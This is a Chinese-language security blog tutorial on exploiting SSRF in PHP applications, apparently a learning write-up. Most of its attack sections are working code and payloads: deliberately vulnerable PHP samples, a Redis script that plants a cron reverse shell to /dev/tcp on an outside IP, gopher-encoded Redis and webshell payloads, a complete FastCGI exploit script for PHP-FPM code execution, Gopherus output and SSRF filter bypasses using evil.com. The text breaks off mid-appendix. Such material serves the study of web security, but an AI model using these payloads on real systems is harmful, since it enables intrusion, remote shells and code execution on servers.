文章归档

置顶文章

Web安全

Web安全基础

PHP相关

Writeups

靶机系列

HackTheBox

VulnHub

代码审计

PHP代码审计

流量分析

机器学习

基础学习

Python

Python编程

Java

Java编程

算法

Leetcode

随笔

经验

技术

 2019-12-17   7.6k

Web安全基础学习之SSRF漏洞利用

什么是ssrf

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)。

简单来讲就是,服务器会响应用户的url请求,但是没有做好过滤和限制,导致可以攻击内网。

漏洞产生

由于服务端提供了从其他服务器应用获取数据的功能且没有对用户可控的目标地址做过虑与限制。

在PHP中的curl(),file_get_contents(),fsockopen()等函数是几个主要产生ssrf漏洞的函数。

file_get_contents()

file_get_contents是把文件写入字符串,当把url是内网文件的时候,他会先去把这个文件的内容读出来再写入,导致了文件读取。

1
2
3
4
5
6
7
8
9
10
11
12
<?php
if(isset($_POST['url']))
{
$content=file_get_contents($_POST['url']);
$filename='./images/'.rand().'.img';\
file_put_contents($filename,$content);
echo $_POST['url'];
$img="<img src=\"".$filename."\"/>";

}
echo $img;
?>

fsockopen()

fsockopen()函数本身就是打开一个网络连接或者Unix套接字连接。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
$host=$_GET['url'];
$fp = fsockopen("$host", 80, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
$out = "GET / HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
echo fgets($fp, 128);
}
fclose($fp);
}
?>

curl()

这应该是大家最熟悉的一个函数了,因为利用方式很多最常见的是通过file、dict、gopher这三个协议来进行渗透,接下来也主要是集中讲对于curl()函数的利用方式。

这里一定要安装PHP的curl扩展!!!Windows环境下php-study用多了,到了Linux环境都不知道怎么搭环境了。(折腾了一下午发现没有安装php-curl…==)https://segmentfault.com/a/1190000009068818

1
2
3
4
5
6
7
8
9
10
function curl($url){  
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}

$url = $_GET['url'];
curl($url);

下面就详细讲一下curl函数在ssrf中的具体利用方式。

利用方式

一些协议的理解

在讲利用方式之前,我们先来看看curl命令支持哪些网络协议:

1
2
3
4
5
[email protected]:/var/www/html/ssrf# curl -V
url 7.66.0 (x86_64-pc-linux-gnu) libcurl/7.66.0 OpenSSL/1.1.1d zlib/1.2.11 brotli/1.0.7 libidn2/2.2.0 libpsl/0.20.2 (+libidn2/2.0.5) libssh2/1.8.0 nghttp2/1.39.2 librtmp/2.3
Release-Date: 2019-09-11
Protocols: dict file ftp ftps gopher http https imap imaps ldap ldaps pop3 pop3s rtmp rtsp scp sftp smb smbs smtp smtps telnet tftp
Features: AsynchDNS brotli GSS-API HTTP2 HTTPS-proxy IDN IPv6 Kerberos Largefile libz NTLM NTLM_WB PSL SPNEGO SSL TLS-SRP UnixSockets

可以看到该版本的curl支持很多协议,其中gopher协议、dict协议、file协议、http/s协议用的比较多。

gopher

Gopher wiki

互联网上使用的分布型的文件搜集获取网络协议,出现在http协议之前。(可以模拟GET/POST请求,换行使用%0d%0a,空白行%0a)。

gopher协议的格式:

1
gopher://<host>:<port>/<gopher-path>_后接TCP数据流

gopher协议在curl命令中的使用方式:

1
curl gopher://localhost:2222/hello%0agopher

通过nc回显可以发现,数据换行了, 然而 hello 只回显了 ello ,也就是说 h “被吃了”, 因此要在传输的数据前加一个无用字符:

1
curl gopher://localhost:2222/_hello%0agopher

如果是在地址栏利用payload时,需要进行一次url编码:

1
http://192.168.91.130/ssrf.php?url=gopher://localhost:2222/_hello%250agopher

再利用ssrf.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[[email protected] ~]# nc -l -vv 2333
Ncat: Version 6.40 ( http://nmap.org/ncat )
Ncat: Listening on :::2333
Ncat: Listening on 0.0.0.0:2333
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:47726

[[email protected] html]# curl -v 'http://127.0.0.1/ssrf.php?url=gopher://127.0.0.1:2333/_test'

[[email protected] ~]# nc -l -vv 2333
Ncat: Version 6.40 ( http://nmap.org/ncat )
Ncat: Listening on :::2333
Ncat: Listening on 0.0.0.0:2333
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:47726.
test

dict

字典服务器协议。dict是基于查询相应的TCP协议。服务器监听端口2628。漏洞代码没有屏蔽回显的情况下,可以利用dict协议获取ssh等服务版本信息。

因为ssrf.php的漏洞代码有回显,所以curl命令直接访问

1
2
curl -v http://localhost/ssrf/ssrf.php?url=dict://127.0.0.1:6379/info

即可看到redis的相关配置。

1
2
curl -v http://localhost/ssrf/ssrf.php?url=dict://127.0.0.1:22/info

即可看到ssh的banner信息。

如果ssrf.php中加上一行屏蔽回显的代码curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);,那么这种方式就失效了,和gopher一样,只能利用nc监听端口,反弹传输数据了。

file

本地文件传输协议,主要用于访问本地计算机中的文件。

因为ssrf.php的漏洞代码有回显,所以浏览器直接访问:

http/s

主要用来探测内网服务。根据响应的状态判断内网端口及服务,可以结合java系列0day和其他各种0day使用。

攻击Redis

目标:阿里云服务器 Centos7 IP:47.97.199.89

攻击:华为云服务器 Centos7 IP:121.36.45.17

具体环境搭建请转到文章末尾的Appendix B。

Redis反弹Shell(root权限)

什么是反弹Shell:https://xz.aliyun.com/t/2549

先写一个redis反弹shell的bash脚本如下:

1
2
3
4
5
6
7
#shell.sh
echo -e "\n\n\n*/1 * * * * bash -i >& /dev/tcp/121.36.45.17/2333 0>&1\n\n\n"|redis-cli -h $1 -p $2 -x set 1
redis-cli -h $1 -p $2 config set dir /var/spool/cron/
redis-cli -h $1 -p $2 config set dbfilename root
redis-cli -h $1 -p $2 save
redis-cli -h $1 -p $2 quit

在redis的第0个数据库中添加key为1,value为\n\n\n*/1 * * * * bash -i >& /dev/tcp/121.36.45.17/2333 0>&1\n\n\n\n的字段。最后会多出一个n是因为echo重定向最后会自带一个换行符。CONFIG SET 命令动态地调整 Redis 服务器的配置,每个用户生成的crontab文件,都会放在 /var/spool/cron/ 目录下面,set直接往当前用户的crontab里写入反弹shell。

想获取Redis攻击的TCP数据包,可以使用socat进行端口转发。

1
2
3
socat -v tcp-listen:4444,fork tcp-connect:localhost:6379
bash shell.sh 127.0.0.1 4444

意思是将本机的4444端口转发到本机的6379端口。访问该服务器的4444端口,访问的其实是该服务器的6379端口。捕获到数据如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
> 2019/12/16 13:50:01.167534  length=89 from=0 to=88
*3\r
$3\r
set\r
$1\r
1\r
$62\r



*/1 * * * * bash -i >& /dev/tcp/121.36.45.179/2333 0>&1



\r
< 2019/12/16 13:50:01.167814 length=5 from=0 to=4
+OK\r
> 2019/12/16 13:50:01.171555 length=57 from=0 to=56
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
$16\r
/var/spool/cron/\r
< 2019/12/16 13:50:01.171779 length=5 from=0 to=4
+OK\r
> 2019/12/16 13:50:01.175397 length=52 from=0 to=51
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
$4\r
root\r
< 2019/12/16 13:50:01.175619 length=5 from=0 to=4
+OK\r
> 2019/12/16 13:50:01.179000 length=14 from=0 to=13
*1\r
$4\r
save\r
< 2019/12/16 13:50:01.185711 length=5 from=0 to=4
+OK\r
> 2019/12/16 13:50:01.189649 length=14 from=0 to=13
*1\r
$4\r
quit\r
< 2019/12/16 13:50:01.189817 length=5 from=0 to=4
+OK\r

转换规则如下:

  • 如果第一个字符是>或者< 那么丢弃该行字符串,表示请求和返回的时间。
  • 如果前3个字符是+OK 那么丢弃该行字符串,表示返回的字符串。
  • \r字符串替换成%0d%0a
  • 空白行替换为%0a

转换脚本:tran2gopher.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
python tran2gopher.py socat.log
#coding: utf-8
#author: JoyChou
import sys
exp = ''

with open(sys.argv[1]) as f:
for line in f.readlines():
if line[0] in '><+':
if line[1] in '?':
exp = exp + line
else:
continue
# 判断倒数第2、3字符串是否为\r
elif line[-3:-1] == r'\r':
# 如果该行只有\r,将\r替换成%0a%0d%0a
if len(line) == 3:
exp = exp + '%0a%0d%0a'
else:
line = line.replace(r'\r', '%0d%0a')
# 去掉最后的换行符
line = line.replace('\n', '')
exp = exp + line
# 判断是否是空行,空行替换为%0a
elif line == '\x0a':
exp = exp + '%0a'
else:
line = line.replace('\n', '')
exp = exp + line
exp.replace("$", "%24")
exp.replace("<", "%3C")
exp.replace(">", "%3E")
exp.replace("?", "%3F")
print exp

结果为:

1
2
*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$62%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/121.36.45.179/2333 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a

在攻击方执行命令:

1
2
3
curl -v 'gopher://47.97.199.89
:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$62%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/121.36.45.179/2333 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a'

出现5个ok,则成功了写入:

1
2
3
4
5
6
7
8
9
10
Trying 47.97.199.89:6379...
* TCP_NODELAY set
* Connected to 47.97.199.89 (47.97.199.89) port 6379 (#0)
+OK
+OK
+OK
+OK
+OK
* Closing connection 0

那再检测以下Redis写入的字段和crontab的内容。

  • 检测Redis数据库的字段为"\n\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1\n\n\n\n"
  • 检测crontab的内容也没有问题。

最后在目标机上监听端口2333:

1
2
nc -lvvp 2333

稍等一下,就可以成功反弹shell。

获取 web 服务的 webshell

当 redis 权限不高时,并且服务器开着 web 服务,在 redis 有 web 目录写权限时,可以尝试往 web 路径写 webshell。

模仿上面的shell脚本来写:

1
2
3
4
5
6
7
8
# shell2.php
redis-cli -h $1 -p $2 flushall
redis-cli -h $1 -p $2 config set dir /var/www/
redis-cli -h $1 -p $2 config set dbfilename shell.php
redis-cli -h $1 -p $2 set webshell "<?php phpinfo();?>"
redis-cli -h $1 -p $2 save
redis-cli -h $1 -p $2 quit

注意:一定要在$POST前面加上转义符\,不然在最后的文件里面$_POST会被吞掉!!!(因为$符号是redis的一种语法)

执行shell2.php,同样使用socat在4444端口转发。

捕获到的数据如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
*1\r
$8\r
flushall\r
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
$8\r
/var/www\r
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
$9\r
shell.php\r
*3\r
$3\r
set\r
$3\r
web\r
$18\r
%3C%3Fphp%20phpinfo()%3B%3F%3E\r
*1\r
$4\r
save\r
*1\r
$4\r
quit\r

参考joychou写cron的脚本转换,python转换脚本如下:

1
2
3
4
5
6
7
8
f = open('payload.txt', 'r')
s = ''
for line in f.readlines():
line = line.replace(r"\r", "%0d%0a")
line = line.replace("\n", '')
s = s + line
print s.replace("$", "%24")

如上的写shell数据流经过编码如下(注意php一句话,经过上面转换还是尖括号,但是使用curl发送的时候要把一句话的两个尖括号和;?url编码,然后使用curl直接发送如下,我也不知道为啥$还要编码,知道的同学请告知,谢谢):

1
2
3
[[email protected] ~]# python tran2gopher.py socat2.log
curl -v "gopher://127.0.0.1:6379/_*1%0d%0a%248%0d%0aflushall%0d%0a*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%243%0d%0adir%0d%0a%248%0d%0a/var/www%0d%0a*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%2410%0d%0adbfilename%0d%0a%249%0d%0ashell.php%0d%0a*3%0d%0a%243%0d%0aset%0d%0a%243%0d%0aweb%0d%0a%2418%0d%0a%3C%3Fphp phpinfo()%3B%3F%3E%0d%0a*1%0d%0a%244%0d%0asave%0d%0aquit%0d%0a"

然后上面的payload在存在ssrf的时候,使用发送之前要再url编码一次,发送即可得到shell。

攻击fastcgi(TCP模式)

环境搭建请转到文章莫问的Appendix B。

什么是fastcgi

请转到文章末尾的Appendix A。

fastcgi默认监听端口为本机的9000端口,如果对外开放的话就有可能造成任意代码执行(具体看p牛文章介绍,讲的非常详细了)。但是一般情况不会对外开放的,所以此时需要配合gopher+ssrf加以利用。

1
2
3
4
5
6
条件: 
libcurl版本>=7.45.0 (exp中存在%00,curl版本小于7.45.0,gopher的%00会被截断)
PHP-FPM监听端口
PHP-FPM版本 >= 5.3.3
知道服务器上任意一个php文件的绝对路径

远程攻击php-fpm

这个场景是有些管理员为了方便吧,把fastcgi监听端口设置为: listen = 0.0.0.0:9000而不是listen = 127.0.0.1:9000 这样子可以导致远程代码执行。

这里利用p牛的exploit脚本:

fpm.py

python命令:

1
2
python fpm.py -c '<?php echo `id`;exit;?>' 192.168.188.130 /var/www/html/index.php

SSRF攻击本地的php-fpm

基本原理

PHP-FPM开放在公网上的情况是很少的,大部分时候都是启动在本地即监听127.0.0.1:9000地址的。

虽然我们没有办法直接对PHP-FPM发起攻击,但是我们可以结合其他漏洞来间接利用。如果目标站点存在SSRF漏洞,那么我们就可以借助SSRF来攻击本地PHP-FPM服务,达到任意代码执行的效果。

利用方式

之前已经提到Gopher协议在SSRF利用中被广泛运用,其URL格式如下:

1
2
gopher://<host>:<port>/<gopher-path>_后接TCP数据流

也就是说,通过Gopher协议,我们可以直接发送TCP协议流,再进行urlencode编码来构造SSRF攻击代码,其中攻击代码就是恶意FastCGI协议报文。

这里有三种方式来生成恶意FastCGI协议报文:

一种是不用修改P牛的脚本,在本即上直接将流量打到某一个端口(比如9999),同时监听此端口,再保存到本地后进行url编码(此时要求本机上也有php-fpm服务)。

1
2
3
4
5
6
7
8
9
# 本机监听
[[email protected] ~] nc -lvvp 9999 > exp.txt
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999

# 本机执行
[[email protected] ~] python fpm.py 127.0.0.1 /usr/share/nginx/html/index.php -c "<?php echo `whoami`; exit();?>" -p 9999

这样exp.txt中就我们所需要的恶意FastCGI协议报文,再用下面的小脚本对其urlencode得到最终的Payload:

1
2
3
4
5
from urllib import quote
with open('exp.txt') as f:
pld = f.read()
print quote(pld)

nginx解码一次,php-fpm解码一次。

第二种是修改P牛的脚本,让其直接返回请求的报文并将其urlencode一次:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
# -*- coding: utf-8 -*-
import socket
import random
import argparse
import sys
from six.moves.urllib import parse as urlparse
from io import BytesIO

# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

PY2 = True if sys.version_info.major == 2 else False


def bchr(i):
if PY2:
return force_bytes(chr(i))
else:
return bytes([i])

def bord(c):
if isinstance(c, int):
return c
else:
return ord(c)

def force_bytes(s):
if isinstance(s, bytes):
return s
else:
return s.encode('utf-8', 'strict')

def force_text(s):
if issubclass(type(s), str):
return s
if isinstance(s, bytes):
s = str(s, 'utf-8', 'strict')
else:
s = str(s)
return s


class FastCGIClient:
"""A Fast-CGI Client for Python"""

# private
__FCGI_VERSION = 1

__FCGI_ROLE_RESPONDER = 1
__FCGI_ROLE_AUTHORIZER = 2
__FCGI_ROLE_FILTER = 3

__FCGI_TYPE_BEGIN = 1
__FCGI_TYPE_ABORT = 2
__FCGI_TYPE_END = 3
__FCGI_TYPE_PARAMS = 4
__FCGI_TYPE_STDIN = 5
__FCGI_TYPE_STDOUT = 6
__FCGI_TYPE_STDERR = 7
__FCGI_TYPE_DATA = 8
__FCGI_TYPE_GETVALUES = 9
__FCGI_TYPE_GETVALUES_RESULT = 10
__FCGI_TYPE_UNKOWNTYPE = 11

__FCGI_HEADER_SIZE = 8

# request state
FCGI_STATE_SEND = 1
FCGI_STATE_ERROR = 2
FCGI_STATE_SUCCESS = 3

def __init__(self, host, port, timeout, keepalive):
self.host = host
self.port = port
self.timeout = timeout
if keepalive:
self.keepalive = 1
else:
self.keepalive = 0
self.sock = None
self.requests = dict()

def __connect(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(self.timeout)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# if self.keepalive:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
# else:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
try:
self.sock.connect((self.host, int(self.port)))
except socket.error as msg:
self.sock.close()
self.sock = None
print(repr(msg))
return False
return True

def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
length = len(content)
buf = bchr(FastCGIClient.__FCGI_VERSION) \
+ bchr(fcgi_type) \
+ bchr((requestid >> 8) & 0xFF) \
+ bchr(requestid & 0xFF) \
+ bchr((length >> 8) & 0xFF) \
+ bchr(length & 0xFF) \
+ bchr(0) \
+ bchr(0) \
+ content
return buf

def __encodeNameValueParams(self, name, value):
nLen = len(name)
vLen = len(value)
record = b''
if nLen < 128:
record += bchr(nLen)
else:
record += bchr((nLen >> 24) | 0x80) \
+ bchr((nLen >> 16) & 0xFF) \
+ bchr((nLen >> 8) & 0xFF) \
+ bchr(nLen & 0xFF)
if vLen < 128:
record += bchr(vLen)
else:
record += bchr((vLen >> 24) | 0x80) \
+ bchr((vLen >> 16) & 0xFF) \
+ bchr((vLen >> 8) & 0xFF) \
+ bchr(vLen & 0xFF)
return record + name + value

def __decodeFastCGIHeader(self, stream):
header = dict()
header['version'] = bord(stream[0])
header['type'] = bord(stream[1])
header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
header['paddingLength'] = bord(stream[6])
header['reserved'] = bord(stream[7])
return header

def __decodeFastCGIRecord(self, buffer):
header = buffer.read(int(self.__FCGI_HEADER_SIZE))

if not header:
return False
else:
record = self.__decodeFastCGIHeader(header)
record['content'] = b''

if 'contentLength' in record.keys():
contentLength = int(record['contentLength'])
record['content'] += buffer.read(contentLength)
if 'paddingLength' in record.keys():
skiped = buffer.read(int(record['paddingLength']))
return record

def request(self, nameValuePairs={}, post=''):
if not self.__connect():
print('connect failure! please check your fasctcgi-server !!')
return

requestId = random.randint(1, (1 << 16) - 1)
self.requests[requestId] = dict()
request = b""
beginFCGIRecordContent = bchr(0) \
+ bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
+ bchr(self.keepalive) \
+ bchr(0) * 5
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
beginFCGIRecordContent, requestId)
paramsRecord = b''
if nameValuePairs:
for (name, value) in nameValuePairs.items():
name = force_bytes(name)
value = force_bytes(value)
paramsRecord += self.__encodeNameValueParams(name, value)

if paramsRecord:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

if post:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)

#self.sock.send(request)
#self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
#self.requests[requestId]['response'] = b''
#return self.__waitForResponse(requestId)
return request

def __waitForResponse(self, requestId):
data = b''
while True:
buf = self.sock.recv(512)
if not len(buf):
break
data += buf

data = BytesIO(data)
while True:
response = self.__decodeFastCGIRecord(data)
if not response:
break
if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
if requestId == int(response['requestId']):
self.requests[requestId]['response'] += response['content']
if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
self.requests[requestId]
return self.requests[requestId]['response']

def __repr__(self):
return "fastcgi connect host:{} port:{}".format(self.host, self.port)


if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
parser.add_argument('host', help='Target host, such as 127.0.0.1')
parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)

args = parser.parse_args()

client = FastCGIClient(args.host, args.port, 3, 0)
params = dict()
documentRoot = "/"
uri = args.file
content = args.code
params = {
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'POST',
'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
'SCRIPT_NAME': uri,
'QUERY_STRING': '',
'REQUEST_URI': uri,
'DOCUMENT_ROOT': documentRoot,
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '9985',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1',
'CONTENT_TYPE': 'application/text',
'CONTENT_LENGTH': "%d" % len(content),
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
#这里调用request,然后返回tcp数据流,所以修改这里url编码一下就好了
#response = client.request(params, content)
#print(force_text(response))
request_ssrf = urlparse.quote(client.request(params, content))
print(force_text("gopher://127.0.0.1:" + str(args.port) + "/_" + request_ssrf))

在利用时,还要对其urlencode一次,可以直接使用Burp的Convert Selection功能:

ok,成功实现了代码执行。

第三种就是使用gopherus工具,同样非常好用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Desktop gopherus --exploit fastcgi


________ .__
/ _____/ ____ ______ | |__ ___________ __ __ ______
/ \ ___ / _ \\____ \| | \_/ __ \_ __ \ | \/ ___/
\ \_\ ( <_> ) |_> > Y \ ___/| | \/ | /\___ \
\______ /\____/| __/|___| /\___ >__| |____//____ >
\/ |__| \/ \/ \/

author: $_SpyD3r_$

Give one file name which should be surely present in the server (prefer .php file)
if you don't know press ENTER we have default one: /var/www/html/index.php
Terminal command to run: whoami

Your gopher link is ready to do SSRF:

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH58%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3A%04%00%3C%3Fphp%20system%28%27whoami%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

-----------Made-by-SpyD3r-----------


payload在利用时需要再次进行url编码。

绕过方式

https://www.freebuf.com/articles/web/135342.html

总的来说有以下几种方式:

IP地址进制转换

例如192.168.0.1这个IP地址我们可以改写成:

(1)、8进制格式:0300.0250.0.1

(2)、16进制格式:0xC0.0xA8.0.1

(3)、10进制整数格式:3232235521

(4)、16进制整数格式:0xC0A80001

利用解析URL所出现的问题

在某些情况下,后端程序可能会对访问的URL进行解析,对解析出来的host地址进行过滤。这时候可能会出现对URL参数解析不当,导致可以绕过过滤。

1
http://[email protected]/

当后端程序通过不正确的正则表达式(比如将http之后到com为止的字符内容,也就是\www.baidu.com,认为是访问请求的host地址时)对上述URL的内容进行解析的时候,很有可能会认为访问URL的host为www.baidu.com,而实际上这个URL所请求的内容都是192.168.0.1上的内容。

filter_var() bypass

看到很多大佬的文章都有提到,找到原文链接

示例代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
$url = $_GET['url'];
echo "Argument: ".$url."\n";
if(filter_var($url, FILTER_VALIDATE_URL)) {
$r = parse_url($url);
var_dump($r);
if(preg_match('/google\.com$/', $r['host']))
{
exec('curl -v -s "'.$r['host'].'"', $a);
} else {
echo "Error: Host not allowed";
}
} else {
echo "Error: Invalid URL";
}
?>
mixed filter_var ( mixed $variable [, int $filter = FILTER_DEFAULT [, mixed $options ]] )函数有两种参数。
FILTER_VALIDATE_EMAIL 检查是否为有效邮箱
FILTER_VALIDATE_URL 检查是否为有效url

代码的逻辑是先判断,url是否符合逻辑,符合则用preg_match来匹配,匹配成功就curl

绕过方式

1
2
3
http://localhost/web/test/22.php?url=0://evil.com:80,google.com:80/

http://localhost/web/test/22.php?url=0://evil.com:23333;google.com:80/

利用,或者;可以绕过。

利用302跳转

如果后端服务器在接收到参数后,正确的解析了URL的host,并且进行了过滤,我们这个时候可以使用302跳转的方式来进行绕过。

(1)、在网络上存在一个很神奇的服务,http://xip.io 当我们访问这个网站的子域名的时候,例如192.168.0.1.xip.io,就会自动重定向到192.168.0.1。

(2)、由于上述方法中包含了192.168.0.1这种内网IP地址,可能会被正则表达式过滤掉,我们可以通过短地址的方式来绕过。经过测试发现新浪,百度的短地址服务并不支持IP模式,所以这里使用的是http://tinyurl.com所提供的短地址服务。(现在这个网站已经关闭了)

Appendix A

PHP的连接方式

所谓的连接方式指的就是服务器中间件与某个语言后端进行数据交换的方式。在这里具体而言就是PHP语言和Apache或者Nginx进行数据传输的方式。一共有三种apache2-module、CGI、FastCGI:

apache2-module模式

把 php 当做 apache 的一个模块,实际上 php 就相当于 apache 中的一个 dll 或一个 so 文件,phpstudy 的非 nts 模式就是默认以 module 方式连接的。

CGI模式

此时 php 是一个独立的进程比如 php-cgi.exe,web 服务器也是一个独立的进程比如 apache.exe,然后当 Web 服务器监听到 HTTP 请求时,会去调用 php-cgi 进程,他们之间通过 cgi 协议,服务器把请求内容转换成 php-cgi 能读懂的协议数据传递给 cgi 进程,cgi 进程拿到内容就会去解析对应 php 文件,得到的返回结果在返回给 web 服务器,最后 web 服务器返回到客户端,但随着网络技术的发展,CGI 方式的缺点也越来越突出。每次客户端请求都需要建立和销毁进程。因为 HTTP 要生成一个动态页面,系统就必须启动一个新的进程以运行 CGI 程序,不断地 fork 是一项很消耗时间和资源的工作。

FastCGI模式

fastcgi 本身还是一个协议,在 cgi 协议上进行了一些优化。众所周知,CGI 进程的反复加载是 CGI 性能低下的主要原因,如果 CGI 解释器保持在内存中 并接受FastCGI 进程管理器调度,则可以提供良好的性能、伸缩性、Fail-Over 特性等等。

简而言之,CGI 模式是 apache2 接收到请求去调用 CGI 程序,而 fastcgi 模式是 fastcgi 进程自己管理自己的 cgi 进程,而不再是 apache 去主动调用 php-cgi,而 fastcgi 进程又提供了很多辅助功能比如内存管理,垃圾处理,保障了 cgi 的高效性,并且 CGI 此时是常驻在内存中,不会每次请求重新启动。

在接触不到服务器文件的情况下,我们可以通过phpinfo()中的Server API来判断PHP的连接方式:

对于FastCGI协议的具体分析参考P牛的博客:https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html

PHP-FPM

基本概念

官方定义如下:

